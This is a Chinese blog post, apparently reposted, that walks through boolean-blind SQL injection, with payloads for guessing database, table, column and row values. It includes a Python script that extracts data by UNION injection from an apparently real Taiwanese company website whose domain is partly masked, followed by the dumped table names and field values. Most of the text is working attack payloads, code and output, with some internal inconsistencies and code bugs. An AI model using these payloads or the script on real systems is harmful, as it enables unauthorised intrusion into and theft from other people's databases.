SQL注入-布尔盲注实例

Posted 码点小干货

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入-布尔盲注实例相关的知识,希望对你有一定的参考价值。

        布尔型盲注的手工成本很大,非常花费时间,建议写脚本来运行,整个过程属于猜解,判断数据库的名称长度,然后猜解第一位字符,第二位... 表名和字段和内容也都是相同的方式进行猜解,sqlmap工具的盲注实际上也是这种原理,只不过它是一个现成的工具了


        首先需要了解到数据库的几个函数

        Length():统计字符串的长度      

        mid(database(),1,1)字符串截取,从第一个字符开始截取,截取一个

        ord() 字符转化成十进制数


        布尔注入是根据页面的正确和不正确状态来判断猜解是真是假

这是页面正常输出的信息


一.获取数据库字符的长度

执行先后顺序先是=然后or然后and,and前的sql是ture,那么1=2是false,

假设数据库字符长度=3那么为true,所以数据库名称长度为3,若不为3那都为false,所以整个sql的结果也为false,页面则返回错误

?id=1&item_id=1' and 1=2 or Length(database())=1

此时页面返回语法错误,可以看到这个id是一个字符型数据,结尾跟了'号,那么我们使用空格--空格来注释掉结尾的’号

SQL注入-布尔盲注实例

?id=1&item_id=1' and 1=2 or Length(database())=1 -- test

页面输出不正常

        若相等那么返回页面正常,不相等则返回页面不正常,没有信息输出

,那么依次尝试2,3,4,5,6,7,8,9,10...

在测试到15时页面输出正常,所以推测出次数据库名称长度为7


二.获取数据库名称

        两种方式来判断数据库名

        1.使用mid()看第一个字符是不是=某个字符,但是由于字符太多,手工就非常麻烦,但是使用脚本来判断就很快了

?id=37 and 1=2 or mid(database(),1,1)=0x276127?id=37 and 1=2 or mid(database(),1,1)='某个字符'


        2.使用ORD()转换成十进制来猜解,这种方法手工更合适

?id=1&item_id=1' and 1=2 or ORD(mid(database(),1,1))>100 

        这句话的意思为:数据库名的第一个字符的十进制数是不是大于100,

若不是则页面不返回信息,是那么返回信息,依次判断可以得到据库名为dbcalin


三.获取表的总数

        依旧是才通过页面返回正常不正常来判断是不是真

        假设表为87张,那么为查询到的表总数87张

select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()

        是否大于80,那么页面返回正确,

' and 1=2 or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())>80 -- ss

        这样子修改80的值来猜出表的总数


四.获取表名的长度

' and 1=2 or (select Length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)=17 -- ss

        获取到第一张表的长度是不是等于17,依旧是这种方式来判断返回结果来确定表名字符的总数,依次从1开始测试

        修改limit则控制第几张表,因为之前我们得知了表的总数所以知道limit最大为多少了


五.获取表的名字

' and 1=2 or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='w' -- ss' and 1=2 or ORD(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))>20 -- ss

和获取库名的方式一致,修改limit猜解不同的表名


六.获表的字段总数

' and 1=2 or (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng')>6 -- ss

        查询某张表的字段总数,是不是大于6,依次修改6来推测出字段的总数


七.获取第一个字段的长度

' and 1=2 or (select Length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1)>6 -- ss

        控制limit来判断不同的字段长度,判断方法和上面的表,数据库均一致


八.获取字段的名称

依旧是两种方式来判断

' and 1=2 or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1),1,1)='w' -- ss' and 1=2 or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1),1,1))=100 -- ss

   

九.获取内容的长度

当前已知:

Database: dbcalin 

Table: products_image_eng

products_image_eng 字段为:id

' and 1=2 or (select Length(id) from products_image_eng limit 0,1)<3 -- ss

id内容长度是否小于3,返回正常页面,=1正常页面则判断出长度为1


十.获取字段内容

' and 1=2 or mid((select id from products_image_eng limit 0,1),1,1)=1 -- ss

products_image_eng表的第一条记录的id字段的第一个字符是不是1,是等于1返回正常页面,依次来推测

' and 1=2 or ORD(mid((select image from products_image_eng limit 1,1),2,1))=50 -- ss

products_image_eng表的第二条记录的id字段的第二个字符的十进制数是不是50,2字符的十进制数为50,所以返回正常,当为51时错误页面无返回信息页面


依次来拆解出所有的数据表和字段和内容,这个工作还是得写脚本来跑吧,这个工作量手工实在是太大了,


还是使用union联合查询的方式数据来得比较快,于是写了个python脚本对这个库运行了然后出来很多表相关的信息


#coding:utf-8from lxml import etreeimport requests,sys
def talbes(db_name): i = 0 print('-' * 10 + ' 正在获取%s数据库中的表... '%db_name + '-' * 10) while 1: url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,TABLE_NAME,6,7 from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1 -- ss"""%(db_name,i) rsp = requests.get(url).content xml = etree.html(rsp) tables = str(xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]) tables = tables.strip(' ').strip(' ').strip() i += 1 if len(tables) == 0: break else: print('数据库:%s 第%d张表:%s' % (db_name, i, tables)) tables_list.append((db_name,tables)) print('-' * 10 + ' 获取完成!!! %s数据库总共%d张表!!! '%(db_name,len(tables_list)) + '-' * 10 + ' ') return tables_list

def columns(db_tb_name): i = 0 print('-' * 10 + ' 正在获取%s数据库中%s表的所有字段... '%(db_tb_name[0],db_tb_name[1]) + '-' * 10) while 1: url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,column_name,6,7 from information_schema.COLUMNs where TABLE_SCHEMA='%s' and table_name='%s' limit %d,1-- ss""" %(db_tb_name[0],db_tb_name[1],i) rsp = requests.get(url).content xml = etree.HTML(rsp) column = xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0] i += 1 column = column.strip(' ').strip(' ').strip() if len(column) == 0: break else: print('数据库:%s 表:%s 第%d个字段:%s' % (db_tb_name[0], db_tb_name[1],i,column)) colums_list.append((db_tb_name[0],db_tb_name[1],column)) print('-' * 10 + ' 获取完成!!! %s数据库总共%s表总共%d个字段!!! '%(db_tb_name[0], db_tb_name[1],i-1) + '-' * 10 + ' ') return colums_list
def value(db_tb_cl_name): i = 0 #获取多少行 url1 = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,count(*),6,7 from %s.%s LIMIT %d,1 -- ss""" % (db_tb_cl_name[0], db_tb_cl_name[1], i) rsp1 = requests.get(url1).content xml1 = etree.HTML(rsp1) values1 = xml1.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0] values1 = int(values1.strip(' ').strip(' ').strip())
for i in range(values1): url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,%s,6,7 from %s.%s LIMIT %d,1 -- ss""" %(db_tb_cl_name[2],db_tb_cl_name[0],db_tb_cl_name[1],i) rsp = requests.get(url).content xml = etree.HTML(rsp) values = xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0] values = values.strip(' ').strip(' ').strip() i =+ 1 if len(values) == 0: break else: print('%s表 %s字段的值:%s'%(db_tb_cl_name[1],db_tb_cl_name[2],str(values).encode('utf-8')))

if __name__ == '__main__': tables_list = []    colums_list = []
    tables_list = talbes('db****')
for table in tables_list: columns(table) for column in colums_list: value(column)

大概这样子

---------- 正在获取dbcalin数据库中的表... ----------数据库:dbcalin1张表:about_content_eng数据库:dbcalin2张表:about_content_jp数据库:dbcalin3张表:about_content_tw数据库:dbcalin4张表:about_us_eng数据库:dbcalin5张表:about_us_jp数据库:dbcalin6张表:about_us_tw数据库:dbcalin7张表:categories_eng数据库:dbcalin8张表:categories_jp数据库:dbcalin9张表:categories_tw数据库:dbcalin10张表:company_explain_eng数据库:dbcalin11张表:company_explain_jp数据库:dbcalin12张表:company_explain_tw数据库:dbcalin13张表:company_info_eng数据库:dbcalin14张表:company_info_jp数据库:dbcalin15张表:company_info_tw数据库:dbcalin16张表:contact_us_eng数据库:dbcalin17张表:contact_us_items_eng数据库:dbcalin18张表:contact_us_items_jp数据库:dbcalin19张表:contact_us_items_tw数据库:dbcalin20张表:contact_us_jp数据库:dbcalin21张表:contact_us_tw数据库:dbcalin22张表:country_actuarial_eng数据库:dbcalin23张表:country_actuarial_jp
---------- 获取完成!!! dbcalin数据库总共87张表!!! ----------
---------- 正在获取dbcalin数据库中system_info_tw表的所有字段... ----------数据库:dbcalin:system_info_tw1个字段:varName数据库:dbcalin:system_info_tw2个字段:value---------- 获取完成!!! dbcalin数据库 system_info_tw表总共2个字段!!! ----------
about_content_eng表 id字段的值:b'1'about_content_eng表 id字段的值:b'2'about_content_eng表 id字段的值:b'3'about_content_eng表 id字段的值:b'4'about_content_eng表 id字段的值:b'5'about_content_eng表 id字段的值:b'6'about_content_eng表 id字段的值:b'7'about_content_eng表 id字段的值:b'8'about_content_eng表 id字段的值:b'9'about_content_eng表 item_id字段的值:b'1'about_content_eng表 item_id字段的值:b'2'about_content_eng表 item_id字段的值:b'3'about_content_eng表 item_id字段的值:b'4'about_content_eng表 item_id字段的值:b'5'about_content_eng表 item_id字段的值:b'6'about_content_eng表 numbered字段的值:b'001'about_content_eng表 numbered字段的值:b'002'about_content_eng表 numbered字段的值:b'003'about_content_eng表 numbered字段的值:b'004'about_content_eng表 title字段的值:b'About Calin'about_content_eng表 title字段的值:b'Core Value'about_content_eng表 title字段的值:b'Basic Information'about_content_eng表 title字段的值:b'Plants Brief'about_content_eng表 title字段的值:b'Milestone'about_content_eng表 title字段的值:b'Awards'about_content_eng表 title字段的值:b'Organization'about_content_eng表 title字段的值:b'Vision'about_content_eng表 title字段的值:b'Quality/Hazardous Substances Free (HSF) Policy'about_content_eng表 available字段的值:b'1'about_content_eng表 createDate字段的值:b'2012-10-29'about_content_eng表 createDate字段的值:b'2012-11-09'about_content_jp表 id字段的值:b'1'about_content_jp表 id字段的值:b'2'about_content_jp表 id字段的值:b'3'about_content_jp表 id字段的值:b'5'about_content_jp表 id字段的值:b'6'about_content_jp表 id字段的值:b'7'about_content_jp表 id字段的值:b'8'about_content_jp表 id字段的值:b'9'about_content_jp表 id字段的值:b'10'about_content_jp表 item_id字段的值:b'1'about_content_jp表 item_id字段的值:b'2'about_content_jp表 item_id字段的值:b'3'about_content_jp表 item_id字段的值:b'4'about_content_jp表 item_id字段的值:b'5'about_content_jp表 item_id字段的值:b'6'about_content_jp表 numbered字段的值:b'001'about_content_jp表 numbered字段的值:b'002'about_content_jp表 numbered字段的值:b'003'about_content_jp表 numbered字段的值:b'004'about_content_jp表 title字段的值:b'xe3x81x94xe6x8cxa8xe6x8bxb6'about_content_jp表 title字段的值:b'xe7xb5x8cxe5x96xb6xe6xa0xb8xe5xbfx83'about_content_jp表 title字段的值:b'xe4xbcx9axe7xa4xbexe6xa6x82xe6xb3x81'about_content_jp表 title字段的值:b'xe4xbcx9axe7xa4xbexe6xb2xbfxe9x9dxa9'about_content_jp表 title字段的值:b'xe5x8fx97xe8xb3x9e'about_content_jp表 title字段的值:b'xe7xb5x84xe7xb9x94xe3x81xa8xe5xbdxb9xe5x89xb2'about_content_jp表 title字段的值:b'Vision'about_content_jp表 title字段的值:b'xe5x93x81xe8xb3xaa/xe6x9cx89xe5xaexb3xe7x89xa9xe8xb3xaaxe3x82x92xe4xbdxbfxe7x94xa8xe3x81x97xe3x81xaaxe3x81x84(HSF)xe6x94xbfxe7xadx96'about_content_jp表 title字段的值:b'xe5xb7xa5xe5xa0xb4xe6xa6x82xe6xb3x81'about_content_jp表 available字段的值:b'1'about_content_jp表 createDate字段的值:b'2012-10-29'about_content_jp表 createDate字段的值:b'2012-11-09'about_content_jp表 createDate字段的值:b'2015-01-26'about_content_tw表 id字段的值:b'1'about_content_tw表 id字段的值:b'2'about_content_tw表 id字段的值:b'3'about_content_tw表 id字段的值:b'4'about_content_tw表 id字段的值:b'5'about_content_tw表 id字段的值:b'6'about_content_tw表 id字段的值:b'8'about_content_tw表 id字段的值:b'9'about_content_tw表 id字段的值:b'11'about_content_tw表 id字段的值:b'12'about_content_tw表 id字段的值:b'14'about_content_tw表 id字段的值:b'15'about_content_tw表 id字段的值:b'16'about_content_tw表 id字段的值:b'18'about_content_tw表 id字段的值:b'22'about_content_tw表 id字段的值:b'23'about_content_tw表 item_id字段的值:b'1'about_content_tw表 item_id字段的值:b'2'about_content_tw表 item_id字段的值:b'7'about_content_tw表 item_id字段的值:b'3'about_content_tw表 item_id字段的值:b'5'about_content_tw表 item_id字段的值:b'6'about_content_tw表 item_id字段的值:b'9'about_content_tw表 item_id字段的值:b'8'about_content_tw表 item_id字段的值:b'4'about_content_tw表 numbered字段的值:b'001'about_content_tw表 numbered字段的值:b'002'about_content_tw表 numbered字段的值:b'003'about_content_tw表 numbered字段的值:b'004'about_content_tw表 numbered字段的值:b'005'about_content_tw表 title字段的值:b'xe9x97x9cxe6x96xbcxe4xbdxb3xe5x87x8c'about_content_tw表 title字段的值:b'xe6xa0xb8xe5xbfx83xe5x83xb9xe5x80xbc'about_content_tw表 title字段的值:b'xe5x9fxbaxe6x9cxacxe8xb3x87xe6x96x99'about_content_tw表 title字段的值:b'xe5xbbxa0xe5x8dx80xe6xa6x82xe6xb3x81'about_content_tw表 title字段的值:b'xe5x85xacxe5x8fxb8xe6xb2xbfxe9x9dxa9'about_content_tw表 title字段的值:b'xe7xa4xbexe6x9cx83xe8xb2xacxe4xbbxbb'about_content_tw表 title字段的值:b'xe6xa6xaexe8xadxbdxe7x8dx8exe7xabxa0'about_content_tw表 title字段的值:b'xe7xb6x93xe7x87x9fxe7x90x86xe5xbfxb5'about_content_tw表 title字段的值:b'xe5x93x81xe8xb3xaa/xe6x9cx89xe5xaexb3xe7x89xa9xe8xb3xaaxe6xb8x9bxe5x85x8d(HSF)xe6x94xbfxe7xadx96'about_content_tw表 title字段的值:b'xe4xb8xbbxe8xa6x81xe7x94xa2xe5x93x81'about_content_tw表 title字段的值:b'xe5x9fxbaxe6x9cxacxe8xb3x87xe6x96x99(20150728xe4xbfxaexe6x94xb9xe5x89x8dxe5x82x99xe4xbbxbd)'about_content_tw表 title字段的值:b'xe7xa4xbexe6x9cx83xe8xb2xacxe4xbbxbb20150519'about_content_tw表 title字段的值:b'xe5x88xa9xe5xaexb3xe9x97x9cxe4xbfx82xe4xbaxbaxe5xb0x88xe5x8dx80'about_content_tw表 title字段的值:b'xe7xb5x84xe7xb9x94xe6x9exb6xe6xa7x8b---xe8x88x8axe8xb3x87xe6x96x99'about_content_tw表 title字段的值:b'xe7xb5x84xe7xb9x94xe6x9exb6xe6xa7x8b'about_content_tw表 available字段的值:b'1'about_content_tw表 available字段的值:b'0'about_content_tw表 createDate字段的值:b'2012-10-29'about_content_tw表 createDate字段的值:b'2015-01-13'about_content_tw表 createDate字段的值:b'2012-11-09'about_content_tw表 createDate字段的值:b'2015-12-24'about_content_tw表 createDate字段的值:b'2015-07-28'about_content_tw表 createDate字段的值:b'2015-05-19'about_content_tw表 createDate字段的值:b'2015-08-03'about_content_tw表 createDate字段的值:b'2018-01-10'about_content_tw表 createDate字段的值:b'2018-06-21'

以上是关于SQL注入-布尔盲注实例的主要内容,如果未能解决你的问题,请参考以下文章

墨者靶场 SQL注入漏洞测试(布尔盲注)

sql注入学习基于布尔 SQL 盲注

SQL注入盲注——布尔注入

SQL注入测试学习布尔盲注

SQL注入之布尔型盲注

web安全sql注入盲注&布尔&延时&报错